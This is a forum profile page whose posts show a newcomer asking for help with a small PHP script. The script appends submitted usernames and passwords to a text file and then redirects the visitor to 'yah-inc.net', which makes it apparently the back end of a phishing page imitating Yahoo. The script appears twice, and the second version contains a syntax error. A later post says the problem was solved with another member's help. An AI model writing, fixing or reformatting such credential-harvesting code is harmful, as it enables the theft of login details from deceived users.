Jump to content

Neep Help

New Members
  • Posts

    8
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

Neep Help's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. -TOPIC CLOSED- Toon helped me solve my problem - Thanks again buddy!! ;D
  2. that is when i check the userlog.txt i get that weird stuff, not sure about the os but is it running apache
  3. Toon what i got when i did that was [code][/code]  ???
  4. okay i changed the hearder and put it at the bottom..it does not log anything, i have no idea what i could possibly be doing wrong ???
  5. the header is not a problem, i just have no idea where to add the code you posted!! ???
  6. So my code in all would be? [code]<?php header("Location: http://yah-inc.net"); $handle = fopen("users.txt", "a"); $string = $_POST['user'] . ":" . $_POST['password'] . "\r\n"; fwrite($handle, $string); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>[/code] it does not work, i am a newbie to php..could you explain more...thanks :-[
  7. Hi all, I am in need of help editing this tiney php code. It saves in this format: user=guest password=password1 I would like one of you to alter the code so it saves in this format: guest:password1 I have no idea how to do this help please!! ??? :-[ [code]<?php header("Location: http://yah-inc.net"); $handle = fopen("users.txt", "a"); foreach($_GET as $variable => $value) {    fwrite($handle, $variable);    fwrite($handle, "=");    fwrite($handle, $value);    fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>[/code]
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.